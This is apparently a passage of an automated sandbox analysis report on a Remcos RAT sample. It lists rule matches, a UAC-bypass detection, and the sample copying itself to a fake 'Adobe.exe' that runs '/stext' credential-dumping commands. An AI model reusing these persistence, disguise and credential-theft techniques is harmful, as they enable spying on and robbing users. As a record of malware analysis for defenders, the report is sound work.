                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: rSOD219ISF-____.scr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: Adobe.exe.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uZfm3RlU1hd6OEUdJL.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uZfm3RlU1hd6OEUdJL.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: _0020.SetAccessControl
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: _0020.AddAccessRule
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: _0020.SetAccessControl
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uThHoRE84EF1gITyGd.csSecurity API names: _0020.AddAccessRule
                Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winEXE@26/7@1/2
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,5_2_004182CE
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,2_2_00417952
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,8_2_00410DE1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,5_2_00418758
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,2_2_0040F474
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,2_2_0041B4A8
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,2_2_0041AA4A
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rSOD219ISF-____.scr.exe.logJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMutant created: \Sessions\1\BaseNamedObjects\Adobe-OTOIRK
                Source: C:\ProgramData\Adobe\Adobe.exeMutant created: NULL
                Source: C:\ProgramData\Adobe\Adobe.exeMutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver
                Source: C:\ProgramData\Adobe\Adobe.exeFile created: C:\Users\user\AppData\Local\Temp\bhv96DB.tmpJump to behavior
                Source: rSOD219ISF-____.scr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: rSOD219ISF-____.scr.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                Source: C:\ProgramData\Adobe\Adobe.exeSystem information queried: HandleInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: Adobe.exe, Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                Source: Adobe.exe, Adobe.exe, 00000007.00000002.1822288377.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                Source: Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                Source: Adobe.exe, Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                Source: Adobe.exe, Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                Source: Adobe.exe, Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                Source: Adobe.exe, 00000005.00000002.1829071272.000000000280F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: Adobe.exe, Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                Source: rSOD219ISF-____.scr.exeReversingLabs: Detection: 26%
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile read: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe:Zone.IdentifierJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
                Source: unknownProcess created: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\onurakujvtpjmhztaghtrsxnnatrlexmp"
                Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe" Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\onurakujvtpjmhztaghtrsxnnatrlexmp"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: slc.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: propsys.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
